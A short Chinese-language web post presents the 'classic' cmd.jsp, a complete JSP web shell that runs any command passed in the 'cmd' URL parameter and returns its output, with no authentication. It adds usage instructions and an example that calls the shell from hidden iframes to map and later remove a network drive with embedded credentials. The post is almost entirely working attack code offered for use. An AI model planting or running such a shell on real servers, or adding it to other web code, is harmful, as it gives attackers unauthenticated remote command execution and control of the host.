cmd.jsp 經典版

<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>

用法:cmd.jsp?cmd=你要執行的命令 


例:在html中 創建映射磁盤Z

 <iframe src="../cmd.jsp?cmd=net use z: \\ ip \filename password /user:username"  style="display:none">
 </iframe> 

  //關閉頁面時 關閉映射磁盤

 function onBeforeUnload(){
var str = "<iframe src='../cmd.jsp?cmd=net use z: /del /y' style='display:none'>"+"</iframe>";

  var temp=document.getElementById("close").innerHTML;

document.getElementById("close").innerHTML=temp+str;
 }

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章